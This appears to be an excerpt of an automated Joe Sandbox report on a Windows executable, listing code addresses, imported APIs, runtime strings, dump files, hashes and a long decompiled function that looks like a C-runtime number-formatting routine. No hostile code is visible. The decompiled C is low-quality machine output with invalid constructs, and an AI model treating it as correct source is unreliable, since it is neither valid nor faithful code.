						if(_t74 == 0) {
							goto L3;
						}
					}
					return _t74;
				}
			}

0x0040a6a0
0x0040a6a1
0x0040a6a4
0x0040a6a7
0x0040a6a9
0x0040a6ad
0x0040a6b1
0x0040a6b6
0x0040a700
0x0040a704
0x0040a708
0x0040a710
0x0040a717
0x0040a720
0x0040a723
0x0040a724
0x0040a727
0x0040a729
0x0040a72d
0x0040a731
0x0040a734
0x0040a738
0x0040a73a
0x0040a774
0x0040a778
0x0040a77c
0x0040a784
0x0040a78b
0x0040a790
0x0040a793
0x0040a794
0x0040a795
0x0040a798
0x0040a79a
0x0040a79e
0x0040a7a2
0x0040a7a5
0x0040a7a7
0x0040a7e7
0x0040a7eb
0x0040a7ef
0x0040a7f7
0x0040a7fe
0x0040a809
0x0040a80d
0x0040a810
0x0040a811
0x0040a812
0x0040a813
0x0040a814
0x0040a817
0x0040a819
0x0040a81d
0x0040a821
0x0040a824
0x0040a828
0x0040a82a
0x0040a87c
0x0040a880
0x0040a884
0x0040a88c
0x0040a893
0x00000000
0x0040a82c
0x0040a830
0x0040a832
0x0040a835
0x0040a837
0x0040a898
0x0040a898
0x0040a89c
0x0040a8a0
0x0040a8a8
0x0040a8af
0x0040a8ba
0x0040a8be
0x0040a8c8
0x0040a8c8
0x0040a8cb
0x0040a8cd
0x0040a839
0x0040a839
0x0040a83b
0x0040a83f
0x0040a844
0x0040a846
0x0040a848
0x0040a84d
0x0040a84f
0x0040a852
0x0040a854
0x0040a86e
0x0040a870
0x0040a870
0x0040a856
0x0040a85a
0x0040a85e
0x0040a862
0x0040a865
0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x0040a86c
0x0040a879
0x0040a879
0x0040a837
0x0040a7a9
0x0040a7a9
0x0040a7ab
0x0040a7ad
0x0040a7b4
0x0040a7b8
0x0040a7bb
0x0040a7bd
0x0040a7c0
0x0040a7c2
0x0040a7da
0x0040a7dc
0x0040a7dc
0x0040a7c4
0x0040a7c4
0x0040a7c6
0x0040a7ca
0x0040a7ce
0x0040a7d1
0x0040a7d6
0x0040a7d8
0x00000000
0x00000000
0x0040a7d8
0x0040a7e4
0x0040a7e4
0x0040a73c
0x0040a73c
0x0040a73e
0x0040a740
0x0040a743
0x0040a747
0x0040a74a
0x0040a74c
0x0040a768
0x0040a76a
0x0040a76a
0x0040a74e
0x0040a74e
0x0040a756
0x0040a758
0x0040a75b
0x0040a75f
0x0040a764
0x0040a766
0x00000000
0x00000000
0x0040a766
0x0040a771
0x0040a771
0x0040a6b8
0x0040a6bc
0x0040a6c3
0x0040a6cb
0x0040a6d1
0x0040a6d6
0x0040a6f2
0x0040a6f4
0x0040a6d8
0x0040a6d8
0x0040a6dc
0x0040a6e2
0x0040a6e5
0x0040a6e9
0x0040a6f0
0x00000000
0x00000000
0x0040a6f0
0x0040a6fd
0x0040a6fd

APIs

strlen.MSVCRT ref: 0040A6C6
memcmp.MSVCRT ref: 0040A6E9
memcmp.MSVCRT ref: 0040A75F
memcmp.MSVCRT ref: 0040A7D1

Part of subcall function 00493530: strlen.MSVCRT ref: 0049353E

memcmp.MSVCRT ref: 0040A865

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 0040A710, 0040A784, 0040A7F7, 0040A88C, 0040A8A8
basic_string::compare, xrefs: 0040A708, 0040A77C, 0040A7EF, 0040A884, 0040A8A0

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: cf4741844adc8c9be101a4e4a512f73b4c80b88c1986500ed578044fb7298caf
Instruction ID: 3e16567a2268de453d3b21d038ad76b514b8b8ea741fbd196fc69b514f2d0fd1
Opcode Fuzzy Hash: cf4741844adc8c9be101a4e4a512f73b4c80b88c1986500ed578044fb7298caf
Instruction Fuzzy Hash: 52615675609301AFC304AF2AC98481EFBE5AFC9794F54C93EE88897350E335DC508B5A

Uniqueness

Uniqueness Score: -1.00%

Function 004004F0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 1488
COMMONCrypto

Download Yara Rule

C-Code - Quality: 22%

			E004004F0(void* __fp0) {
				signed int _t643;
				signed int _t651;
				intOrPtr* _t652;

				_t651 =  *( *(_t652 + 0xac));
				 *( *(_t652 + 0xac)) = _t651 & 0xffffffcf;
				_t643 = _t651 & 0x00000007;
				if(_t643 > 4) {
					return 0;
				}
				switch( *((intOrPtr*)(_t643 * 4 +  &M004CDCE0))) {
					case 0:
						L3:
						 *( *(_t652 + 0xb8)) = 1;
						 *(_t652 + 8) = 1;
						 *((intOrPtr*)(_t652 + 4)) =  *((intOrPtr*)(_t652 + 0xbc));
						 *_t652 = 0x4cdcdd;
						return E00400230();
					case 1:
						__eax = __esp[0x28];
						__edx = 0;
						__ebp =  *(__esp[0x28]);
						__eflags = __ebp - 0x20;
						if(__ebp > 0x20) {
							__eax = 0x20;
							do {
								__eax = __eax + __eax;
								__edx = __edx + 1;
								__eflags = __ebp - __eax;
							} while (__ebp > __eax);
						}
						__eax = E00402CD0(__edx);
						__edx = __esp[0x2a];
						__ebx = __eax;
						__eax = __ebp - 1;
						_t20 = __ebx + 0x14; // 0x14
						__ecx = _t20;
						__eax = __ebp - 1 >> 5;
						__esp[4] = __ecx;
						__edx = __esp[0x2a] + (__ebp - 1 >> 5) * 4;
						__eax = __esp[0x2a];
						__esi = __ecx;
						goto L11;
						while(1) {
							L14:
							_t27 = __eax - 1; // 0xf
							__esi = _t27;
							__edx =  *(__ebx + 0x14 + __esi * 4);
							__eflags = __edx;
							if(__edx != 0) {
								asm("bsr edx, [ebx+eax*4+0x10]");
								 *(__ebx + 0x10) = __eax;
								__eax = __eax << 5;
								__esi = __eax;
								__esi = __eax - __edx;
								__eflags = __esi;
								break;
							}
							__eax = __esi;
							__eflags = __esi;
							if(__esi == 0) {
								 *(__ebx + 0x10) = 0;
							} else {
								continue;
							}
							break;
						}
						__eax = E00402740(__ebx);
						__edx = __esp[0x29];
						__esp[0x1f] = __eax;
						__esp[0xe] = __esp[0x29];
						__eflags = __eax;
						if(__eax != 0) {
							__eax = E00402630(__ebx, __eax);
							__eax = __esp[0x1f];
							__esp[0x29] = __esp[0x29] + __eax;
							__esi = __esi - __eax;
							__esp[0xe] = __esp[0x29] + __eax;
						}
						__ecx =  *(__ebx + 0x10);
						__eflags =  *(__ebx + 0x10);
						if( *(__ebx + 0x10) == 0) {
							 *_t652 = _t649;
							E00402DC0();
							goto L3;
						} else {
							 &(__esp[0x1f]) = L00403580(__ebx,  &(__esp[0x1f]));
							__ecx = __esp[0xe];
							__esp[4] = __fp0;
							__edx = __esp[5];
							__eax = __esp[4];
							__ecx = __esp[0xe] + __esi;
							__edx = __esp[5] & 0x000fffff;
							__esp[8] = __esp[4];
							__eax = 1;
							__edx = __esp[5] & 0x000fffff | 0x3ff00000;
							__esp[7] = __ecx;
							__ecx = __ecx - 1;
							__eax = 1 - __esp[7];
							__esp[9] = __edx;
							__fp0 = __esp[8];
							__eflags = __ecx;
							__fp0 = __esp[8] -  *0x4cdcf4;
							__esp[4] = __ecx;
							__eax =  >=  ? __ecx : 1 - __esp[7];
							(__esp[8] -  *0x4cdcf4) *  *0x4cdcf8 = (__esp[8] -  *0x4cdcf4) *  *0x4cdcf8 +  *0x4cdd00;
							__eax = ( >=  ? __ecx : 1 - __esp[7]) - 0x435;
							asm("fild dword [esp+0x10]");
							__fp0 = ((__esp[8] -  *0x4cdcf4) *  *0x4cdcf8 +  *0x4cdd00) *  *0x4cdd08;
							asm("faddp st1, st0");
							__eflags = 1;
							if(1 > 0) {
								__esp[4] = __eax;
								asm("fild dword [esp+0x10]");
								__fp0 = __fp0 *  *0x4cdd10;
								asm("faddp st1, st0");
							}
						}
						asm("fnstcw word [esp+0x6e]");
						__eax = __esp[0x1b] & 0x0000ffff;
						__ah = __ah | 0x0000000c;
						__eflags = __ah;
						__esp[0x1b] = __ax;
						asm("fldcw word [esp+0x6c]");
						asm("fist dword [esp+0x10]");
						asm("fldcw word [esp+0x6e]");
						asm("fldz");
						asm("fcomip st0, st1");
						if(__eflags > 0) {
							asm("fild dword [esp+0x10]");
							asm("fucomip st0, st1");
							st0 = __fp0;
							if(__eflags != 0 || __eflags != 0) {
								__esp[4] = __esp[4] - 1;
							}
						} else {
							st0 = __fp0;
						}
						__ecx = __ecx << 0x14;
						__eax = (__ecx << 0x14) + __edx;
						__esp[9] = (__ecx << 0x14) + __edx;
						__eax = __esi;
						__eax = __esi - __ecx;
						_t52 = __eax - 1; // 0xf
						__edx = _t52;
						__esp[0xc] = _t52;
						__edx = __esp[4];
						__eflags = __edx - 0x16;
						if(__eflags > 0) {
							__esp[0x13] = 1;
							goto L28;
						} else {
							__fp0 =  *(0x4cdd80 + __edx * 8);
							asm("fst qword [esp+0x28]");
							__fp0 = __esp[8];
							asm("fxch st0, st1");
							asm("fcomip st0, st1");
							st0 = __fp0;
							if(__eflags <= 0) {
								__edx = __esp[0xc];
								__esp[0x13] = 0;
								__esp[0x10] = 0;
								__eflags = __esp[0xc];
								if(__esp[0xc] < 0) {
									goto L101;
								} else {
									goto L62;
								}
								goto L301;
							} else {
								__edx = __edx - 1;
								__esp[0x13] = 0;
								__esp[4] = __edx;
								L28:
								__edx = __esp[0xc];
								__esp[0x10] = 0;
								__eflags = __esp[0xc];
								if(__esp[0xc] < 0) {
									L101:
									__edx = 1;
									__esp[0xc] = 0;
									__edx = 1 - __eax;
									__esp[0x10] = 1 - __eax;
								}
								__eax = __esp[4];
								__eflags = __esp[4];
								if(__esp[4] >= 0) {
									L62:
									__ecx = __esp[4];
									__esp[0x12] = 0;
									__esp[0xc] = __esp[0xc] + __ecx;
									__esp[0x11] = __ecx;
								} else {
									__eax = __esp[4];
									_t70 =  &(__esp[0x10]);
									 *_t70 = __esp[0x10] - __eax;
									__eflags =  *_t70;
									__esp[4] = 0;
									__ecx = __eax;
									__esp[0x11] = __eax;
									__ecx =  ~__eax;
									__esp[0x12] =  ~__eax;
								}
							}
						}
						__eflags = __esp[0x2c] - 9;
						if(__esp[0x2c] > 9) {
							__esp[0x2c] = 0;
							goto L64;
						} else {
							__eflags = __esp[0x2c] - 5;
							if(__esp[0x2c] > 5) {
								__esp[0x2c] = __esp[0x2c] - 4;
								__esp[0x14] = 0;
							} else {
								__eax = __esp[7];
								__eax = __esp[7] + 0x3fd;
								__eflags = __eax - 0x7f7;
								_t79 = __eax - 0x7f7 < 0;
								__eflags = _t79;
								__eax = __al & 0x000000ff;
								__esp[0x14] = __al & 0x000000ff;
							}
							__eflags = __esp[0x2c] - 3;
							if(__eflags == 0) {
								__esp[0xf] = 0;
								goto L127;
							} else {
								if(__eflags <= 0) {
									__eflags = __esp[0x2c] - 2;
									if(__esp[0x2c] != 2) {
										goto L64;
									} else {
										__esp[0xf] = 0;
										goto L38;
									}
								} else {
									__eflags = __esp[0x2c] - 4;
									if(__esp[0x2c] != 4) {
										__eflags = __esp[0x2c] - 5;
										if(__esp[0x2c] != 5) {
											L64:
											__esp[7] = __ebp;
											asm("fild dword [esp+0x1c]");
											__fp0 = __fp0 *  *0x4cdd18;
											asm("fldcw word [esp+0x6c]");
											asm("fistp dword [esp+0x68]");
											asm("fldcw word [esp+0x6e]");
											__eax = __esp[0x1a];
											__eax = __esp[0x1a] + 3;
											 *__esp = __eax;
											__esp[0x1f] = __eax;
											__esp[0xd] = E004001F0();
											__eax = __esp[0x28];
											__eax =  *(__esp[0x28] + 0xc);
											__esp[7] = __eax;
											__eax = __eax - 1;
											__eflags = __eax;
											__esp[0xa] = __eax;
											if(__eax != 0) {
												__esp[0x14] = 0;
												__esp[0xf] = 1;
												__esp[0x15] = 0xffffffff;
												__esp[7] = 0xffffffff;
												__esp[0x2d] = 0;
												goto L40;
											} else {
												__edi = __esp[0xe];
												__eflags = __edi;
												if(__edi < 0) {
													__ecx = __esp[0x28];
													__eax = __ebp;
													__esp[0x2d] = 0;
													__eax = __ebp - __esi;
													__esp[0x15] = 0xffffffff;
													__ecx =  *(__esp[0x28] + 4);
													__edx = __eax + 1;
													__edi = __edi - __eax;
													__esp[7] = 0xffffffff;
													__esp[0x1f] = __edx;
													__eflags = __ecx - __edi;
													if(__ecx > __edi) {
														goto L69;
													} else {
														goto L206;
													}
												} else {
													__eax = __esp[0x28];
													__edi = __esp[0x11];
													__eflags =  *((intOrPtr*)(__eax + 0x14)) - __esp[0x11];
													if( *((intOrPtr*)(__eax + 0x14)) >= __esp[0x11]) {
														__eax = __esp[0x11];
														__esp[7] = 0xffffffff;
														__fp0 =  *(0x4cdd80 + __esp[0x11] * 8);
														goto L190;
													} else {
														__esp[0x2d] = 0;
														__esp[7] = 0xffffffff;
														__esp[0x15] = 0xffffffff;
														goto L68;
													}
												}
											}
										} else {
											__esp[0xf] = 1;
											L127:
											__eax = __esp[0x11];
											__eax = __esp[0x11] + __esp[0x2d];
											__esp[0x15] = __eax;
											__eax = __eax + 1;
											__esp[7] = __eax;
											__eflags = __eax;
											if(__eax <= 0) {
												__esp[0x1f] = 1;
												__eax = 1;
											} else {
												__esp[0x1f] = __eax;
											}
											goto L39;
										}
									} else {
										__esp[0xf] = 1;
										L38:
										__eax = __esp[0x2d];
										__eflags = __esp[0x2d];
										1 =  >  ? __esp[0x2d] : 1;
										__esp[0x2d] = 1;
										__esp[0x1f] = 1;
										__esp[0x15] = 1;
										__esp[7] = 1;
										L39:
										__eax = E004001F0(__eax);
										__eflags = __esp[7] - 0xe;
										__esp[0xd] = __eax;
										__eax = __esp[0x28];
										__eax =  *(__esp[0x28] + 0xc);
										__esp[0xa] = __eax;
										__eax = __eax & 0xffffff00 | __esp[7] - 0x0000000e < 0x00000000;
										__al = __al & __esp[0x14];
										__esp[0x14] = __al;
										__eax = __esp[0xa];
										__eax = __esp[0xa] - 1;
										__eflags = __eax;
										__esp[0xa] = __eax;
										if(__eax == 0) {
											L42:
											__eflags = __esp[0x14];
											if(__esp[0x14] == 0) {
												goto L116;
											} else {
												__ecx = __esp[0xa];
												__ecx = __esp[0xa] | __esp[0x11];
												__eflags = __ecx;
												if(__ecx != 0) {
													goto L116;
												} else {
													__eax = __esp[0x13];
													__fp0 = __esp[8];
													__esp[0x1f] = 0;
													__eflags = __esp[0x13];
													if(__eflags == 0) {
														L46:
														st0 = st0 + st1;
														__fp0 = st0 + st1 +  *0x4cdd2c;
														__esp[0xa] = __fp0;
														__eax = __esp[0xa];
														__edx = __esp[0xb];
														__esp[0xb] = __esp[0xb] - 0x3400000;
														__esp[0xb] = __esp[0xb] - 0x3400000;
														__eax = __esp[7];
														__eflags = __esp[7];
														if(__eflags == 0) {
															goto L108;
														} else {
															__eax = __esp[7];
															__esp[0x17] = 0;
															__esp[0x16] = __esp[7];
															goto L48;
														}
													} else {
														asm("fld1");
														asm("fcomip st0, st1");
														if(__eflags > 0) {
															__eax = __esp[7];
															__eflags = __esp[7];
															if(__esp[7] == 0) {
																st0 = st0 + st1;
																__fp0 = st0 + st1 +  *0x4cdd2c;
																__esp[0xa] = __fp0;
																__eax = __esp[0xa];
																__edx = __esp[0xb];
																__eax = __esp[0xb];
																__eax = __esp[0xb] - 0x3400000;
																__eflags = __eax;
																__esp[0xb] = __eax;
																L108:
																__fp0 = __fp0 -  *0x4cdd30;
																__fp0 = __esp[0xa];
																asm("fxch st0, st1");
																asm("fcomi st0, st1");
																if(__eflags > 0) {
																	st0 = __fp0;
																	st0 = __fp0;
																	__eax = __esp[0xd];
																	__esp[0xe] = 2;
																	__edi = 0;
																	__ebp = 0;
																	goto L95;
																} else {
																	asm("fxch st0, st1");
																	asm("fchs");
																	asm("fcomip st0, st1");
																	st0 = __fp0;
																	if(__eflags > 0) {
																		goto L132;
																	} else {
																		goto L115;
																	}
																}
															} else {
																__edi = __esp[0x15];
																__eflags = __edi;
																if(__edi <= 0) {
																	st0 = __fp0;
																	goto L115;
																} else {
																	__fp0 = __fp0 *  *0x4cdd24;
																	__esp[0x16] = __edi;
																	__esp[0x17] = 0xffffffff;
																	st0 = st0 *  *0x4cdd28;
																	__fp0 = st0 *  *0x4cdd28 +  *0x4cdd2c;
																	__esp[0xa] = st0 *  *0x4cdd28 +  *0x4cdd2c;
																	__eax = __esp[0xa];
																	__edx = __esp[0xb];
																	__esp[0xb] = __esp[0xb] - 0x3400000;
																	__esp[0xb] = __esp[0xb] - 0x3400000;
																	L48:
																	__eax = __esp[0x16];
																	__fp0 = __esp[0xa];
																	__fp0 =  *(0x4cdd78 + __esp[0x16] * 8);
																	__eax = __esp[0xf];
																	__eflags = __esp[0xf];
																	if(__esp[0xf] == 0) {
																		asm("fnstcw word [esp+0x6e]");
																		asm("fmulp st1, st0");
																		__esp[0x18] = __ebx;
																		__ecx = __esp[0xd];
																		__esp[0x19] = __ebp;
																		__edi = 0;
																		__ebp = __esp[0x16];
																		__eax = __esp[0x1b] & 0x0000ffff;
																		__esp[0x1f] = 1;
																		__ebx = __esp[0x14] & 0x000000ff;
																		__ah = __ah | 0x0000000c;
																		__fp0 = st1;
																		__esp[0x1b] = __ax;
																		while(1) {
																			asm("fldcw word [esp+0x6c]");
																			asm("fist dword [esp+0x68]");
																			asm("fldcw word [esp+0x6e]");
																			__edx = __esp[0x1a];
																			__eflags = __edx;
																			if(__edx != 0) {
																				__esp[0xa] = __edx;
																				asm("fild dword [esp+0x28]");
																				__edi = __ebx;
																				asm("fsubp st1, st0");
																			}
																			__ecx = __ecx + 1;
																			__edx = __edx + 0x30;
																			 *(__ecx - 1) = __dl;
																			__eax = __esp[0x1f];
																			__eflags = __eax - __ebp;
																			if(__eax == __ebp) {
																				break;
																			}
																			__eax = __eax + 1;
																			__eflags = __eax;
																			__fp0 = __fp0 *  *0x4cdd24;
																			__edi = __ebx;
																			__esp[0x1f] = __eax;
																		}
																		__eax = __edi;
																		__ebx = __esp[0x18];
																		__ebp = __esp[0x19];
																		__eflags = __al;
																		asm("fcmove st0, st2");
																		st2 = __fp0;
																		 *0x4cdd34 = st1;
																		__fp0 = st1 + st1;
																		asm("fxch st0, st3");
																		asm("fcomi st0, st3");
																		st3 = __fp0;
																		if(__eflags > 0) {
																			st0 = __fp0;
																			st0 = __fp0;
																			st0 = __fp0;
																			__eax = __esp[0x17];
																			__esi = __ecx;
																			__eax = __esp[0x17] + 1;
																			__eflags = __eax;
																			__esp[0xe] = __eax;
																			__eax = __esp[0xd];
																			goto L264;
																		} else {
																			asm("fsubrp st1, st0");
																			asm("fcomip st0, st1");
																			if(__eflags <= 0) {
																				st0 = __fp0;
																				goto L115;
																			} else {
																				asm("fldz");
																				asm("fxch st0, st1");
																				__eax = __esp[0xd];
																				__edx = __ecx;
																				asm("fucomip st0, st1");
																				st0 = __fp0;
																				if(__eflags != 0 || __eflags != 0) {
																					__edi = __esp[0x17];
																					__ecx = 0x10;
																					_t497 = __edi + 1; // 0x1
																					__esi = _t497;
																				} else {
																					__edi = __esp[0x17];
																					__ecx = 0;
																					_t634 = __edi + 1; // 0x1
																					__esi = _t634;
																				}
																				goto L230;
																			}
																		}
																	} else {
																		asm("fxch st0, st2");
																		asm("fnstcw word [esp+0x6e]");
																		__eax = __esp[0xd];
																		__edi = __esp[0xd] + 1;
																		__eax = __esp[0x1b] & 0x0000ffff;
																		__ah = __ah | 0x0000000c;
																		__eflags = __ah;
																		__esp[0x1b] = __ax;
																		asm("fldcw word [esp+0x6c]");
																		asm("fist dword [esp+0x68]");
																		asm("fldcw word [esp+0x6e]");
																		asm("fxch st0, st2");
																		asm("fdivr dword [0x4cdd34]");
																		__eax = __esp[0x1a];
																		__esp[0xa] = __eax;
																		__edx = __eax + 0x30;
																		__eax = __esp[0xd];
																		 *(__esp[0xd]) = __dl;
																		asm("fsubrp st1, st0");
																		asm("fild dword [esp+0x28]");
																		asm("fsubp st2, st0");
																		asm("fcomi st0, st1");
																		if(__eflags > 0) {
																			st0 = __fp0;
																			goto L58;
																		} else {
																			__fp0 = st1;
																			asm("fsubr dword [0x4cdd20]");
																			asm("fxch st0, st1");
																			asm("fcomi st0, st1");
																			st1 = __fp0;
																			if(__eflags > 0) {
																				st0 = __fp0;
																				st0 = __fp0;
																				goto L278;
																			} else {
																				__eax = __esp[0x1f];
																				__eax = __esp[0x1f] + 1;
																				__esp[0x1f] = __eax;
																				__eflags = __eax - __esp[0x16];
																				if(__eax >= __esp[0x16]) {
																					st0 = __fp0;
																					st0 = __fp0;
																					goto L115;
																				} else {
																					__eax = __esp[0x16];
																					while(1) {
																						__fp0 =  *0x4cdd24;
																						__edi = __edi + 1;
																						__fp0 =  *0x4cdd24 * st0;
																						asm("fmulp st2, st0");
																						asm("fxch st0, st1");
																						asm("fldcw word [esp+0x6c]");
																						asm("fist dword [esp+0x28]");
																						asm("fldcw word [esp+0x6e]");
																						asm("fild dword [esp+0x28]");
																						__edx = __esp[0xa] & 0x000000ff;
																						__edx = (__esp[0xa] & 0x000000ff) + 0x30;
																						__eflags = __edx;
																						asm("fsubp st1, st0");
																						asm("fxch st0, st1");
																						 *(__edi - 1) = __dl;
																						asm("fcomi st0, st1");
																						if(__eflags > 0) {
																							break;
																						}
																						__fp0 = st1;
																						asm("fsubr dword [0x4cdd20]");
																						asm("fxch st0, st1");
																						asm("fcomi st0, st1");
																						st1 = __fp0;
																						if(__eflags > 0) {
																							st0 = __fp0;
																							st0 = __fp0;
																							L278:
																							__eax = __esp[0x17];
																							__esi = __edi;
																							__eax = __esp[0x17] + 1;
																							__esp[0xe] = __esp[0x17] + 1;
																							__eax = __esp[0xd];
																							goto L264;
																						} else {
																							__edx = __esp[0x1f];
																							__edx = __esp[0x1f] + 1;
																							__esp[0x1f] = __edx;
																							__eflags = __edx - __eax;
																							if(__edx >= __eax) {
																								st0 = __fp0;
																								st0 = __fp0;
																								L115:
																								__esp[0xa] = 0;
																								goto L116;
																							} else {
																								continue;
																							}
																						}
																						goto L98;
																					}
																					st0 = __fp0;
																					L58:
																					__eax = __esp[0x17];
																					asm("fldz");
																					asm("fxch st0, st1");
																					__eax = __esp[0x17] + 1;
																					__eflags = __eax;
																					asm("fucomip st0, st1");
																					st0 = __fp0;
																					__esp[0xe] = __eax;
																					__eax = __esp[0xd];
																					__esp[0xd] = __edi;
																					if(__eflags != 0 || __eflags != 0) {
																						goto L60;
																					}
																				}
																			}
																		}
																	}
																}
															}
														} else {
															goto L46;
														}
													}
												}
											}
										} else {
											L40:
											__ecx = __esp[0xa];
											__eax = 2;
											__eflags = __ecx;
											__eax =  >=  ? __ecx : 2;
											__edi = __edi & 0x00000008;
											__eflags = __edi;
											__edx = 2;
											__esp[0xa] =  >=  ? __ecx : 2;
											if(__edi == 0) {
												L116:
												__edi = __esp[0xe];
												__eflags = __esp[0xe];
												if(__esp[0xe] < 0) {
													L129:
													__edx = __esp[0xf];
													__eflags = __esp[0xf];
													if(__esp[0xf] != 0) {
														L68:
														__edi = __esp[0x28];
														__eax = __ebp;
														__eax = __ebp - __esi;
														__ecx =  *(__esp[0x28] + 4);
														__edi = __esp[0xe];
														__edx = __eax + 1;
														__esp[0x1f] = __edx;
														__edi = __esp[0xe] - __eax;
														__eflags = __esp[0xe] - __eax - __ecx;
														if(__esp[0xe] - __eax >= __ecx) {
															L164:
															__eflags = __esp[0x2c] - 1;
															if(__esp[0x2c] <= 1) {
																L206:
																__eax = __esp[0x10];
																__esp[0xc] = __esp[0xc] + __edx;
																__edi = __esp[0x12];
																__esp[8] = __eax;
																__esp[0x10] = __eax;
																goto L73;
															} else {
																goto L165;
															}
															goto L98;
														} else {
															L69:
															__esp[0x2c] = __esp[0x2c] - 3;
															__eax = __esp[0x2c] - 0x00000003 & 0xfffffffd;
															__eflags = __esp[0x2c] - 0x00000003 & 0xfffffffd;
															if((__esp[0x2c] - 0x00000003 & 0xfffffffd) == 0) {
																goto L164;
															} else {
																__eax = __esp[0xe];
																__edi = __esp[7];
																__eax = __esp[0xe] - __ecx;
																__eax = __esp[0xe] - __ecx + 1;
																__eflags = __esp[0x2c] - 1;
																__ecx = __ecx & 0xffffff00 | __esp[0x2c] - 0x00000001 > 0x00000000;
																__eflags = __edi;
																__esp[0x1f] = __eax;
																__edx = __edx & 0xffffff00 | __edi > 0x00000000;
																__eflags = __cl & __dl;
																if((__cl & __dl) == 0) {
																	L72:
																	__edx = __esp[0x10];
																	__esp[0xc] = __esp[0xc] + __eax;
																	__edi = __esp[0x12];
																	__eax = __eax + __edx;
																	__eflags = __eax;
																	__esp[8] = __edx;
																	__esp[0x10] = __eax;
																} else {
																	__eflags = __eax - __edi;
																	if(__eax > __edi) {
																		L165:
																		__eax = __esp[7];
																		__edi = __esp[0x12];
																		__eax = __esp[7] - 1;
																		__eflags = __edi - __eax;
																		if(__edi < __eax) {
																			__edx = __eax;
																			__edi = 0;
																			__edx = __eax - __esp[0x12];
																			__esp[0x12] = __eax;
																			__esp[4] = __esp[4] + __eax - __esp[0x12];
																		} else {
																			__edi = __edi - __eax;
																			__eflags = __edi;
																		}
																		__eax = __esp[7];
																		__eflags = __eax;
																		if(__eax < 0) {
																			__esp[0x10] = __esp[0x10] - __esp[7];
																			__esp[0x1f] = 0;
																			__esp[8] = __esp[0x10] - __esp[7];
																		} else {
																			__edx = __esp[0x10];
																			__esp[0x1f] = __eax;
																			__esp[0xc] = __esp[0xc] + __eax;
																			__eax = __eax + __edx;
																			__esp[8] = __edx;
																			__esp[0x10] = __eax;
																		}
																	} else {
																		goto L72;
																	}
																}
															}
														}
														L73:
														__eax = E00402F00(1);
														__esp[0xf] = 1;
														__ebp = __eax;
														goto L74;
													} else {
														__eax = __esp[0x10];
														__edi = __esp[0x12];
														__ebp = 0;
														__esp[8] = __esp[0x10];
														L74:
														__ecx = __esp[8];
														__eflags = __ecx;
														if(__ecx > 0) {
															__edx = __esp[0xc];
															__eflags = __edx;
															if(__edx > 0) {
																__eflags = __ecx - __edx;
																__eax = __edx;
																__eax =  <=  ? __ecx : __edx;
																__esp[0x10] = __esp[0x10] - __eax;
																__ecx = __ecx - __eax;
																__edx = __edx - __eax;
																__eflags = __edx;
																__esp[0x1f] = __eax;
																__esp[8] = __ecx;
																__esp[0xc] = __edx;
															}
														}
														__eax = __esp[0x12];
														__eflags = __esp[0x12];
														if(__esp[0x12] != 0) {
															__eax = __esp[0xf];
															__eflags = __esp[0xf];
															if(__esp[0xf] == 0) {
																__eax = __esp[0x12];
																goto L186;
															} else {
																__eflags = __edi;
																if(__edi > 0) {
																	__eax = E004030B0(__ebp, __edi);
																	__esp[1] = __ebx;
																	 *__esp = __eax;
																	__ebp = __eax;
																	__eax = E00402F30();
																	 *__esp = __ebx;
																	__esp[0xe] = __eax;
																	E00402DC0() = __esp[0xe];
																	__ebx = __esp[0xe];
																}
																__eax = __esp[0x12];
																__eax = __esp[0x12] - __edi;
																__eflags = __eax;
																if(__eax != 0) {
																	L186:
																	__ebx = __eax;
																}
															}
														}
														__eax = E00402F00(1);
														__eflags = __esi - 1;
														__edx = __edx & 0xffffff00 | __esi == 0x00000001;
														__eflags = __esp[0x2c] - 1;
														__edi = __eax;
														__esi = __edx;
														__esi = __edx & __eax;
														__eax = __esp[4];
														__eflags = __eax;
														if(__eax > 0) {
															__edi = __eax;
															__eax = __esi;
															__eflags = __al;
															if(__al != 0) {
																__eax = __esp[0x28];
																__eax =  *(__esp[0x28] + 4);
																__eax =  *(__esp[0x28] + 4) + 1;
																__eflags = __esp[0x29] - __eax;
																if(__esp[0x29] <= __eax) {
																	goto L135;
																} else {
																	goto L247;
																}
															} else {
																L135:
																__esp[0x12] = 0;
																goto L136;
															}
															goto L301;
														} else {
															__eax = __esi;
															__esp[0x12] = 0;
															__eflags = __al;
															if(__al != 0) {
																__eax = __esp[0x28];
																__eax =  *(__esp[0x28] + 4);
																__eax =  *(__esp[0x28] + 4) + 1;
																__eflags = __eax - __esp[0x29];
																if(__eax < __esp[0x29]) {
																	L247:
																	__esp[0x10] = __esp[0x10] + 1;
																	__esp[0xc] = __esp[0xc] + 1;
																	__esp[0x12] = 1;
																}
															}
															__eax = __esp[4];
															__esi = 0x1f;
															__eflags = __esp[4];
															if(__esp[4] != 0) {
																L136:
																__eax =  *(__edi + 0x10);
																asm("bsr esi, [edi+eax*4+0x10]");
																__esi = __esi ^ 0x0000001f;
															}
														}
														__esi = __esi - __esp[0xc];
														__edx = __esp[0x10];
														__esi = __esi - 4;
														__esi = __esi & 0x0000001f;
														__edx = __esp[0x10] + __esi;
														__esp[0x1f] = __esi;
														__eax = __esi;
														__eflags = __edx;
														if(__edx > 0) {
															 *__esp = __ebx;
															__esp[1] = __edx;
															__ebx = E00403230();
															__eax = __esp[0x1f];
														}
														__eax = __eax + __esp[0xc];
														__eflags = __eax;
														if(__eax > 0) {
															 *__esp = __edi;
															__esp[1] = __eax;
															__edi = E00403230();
														}
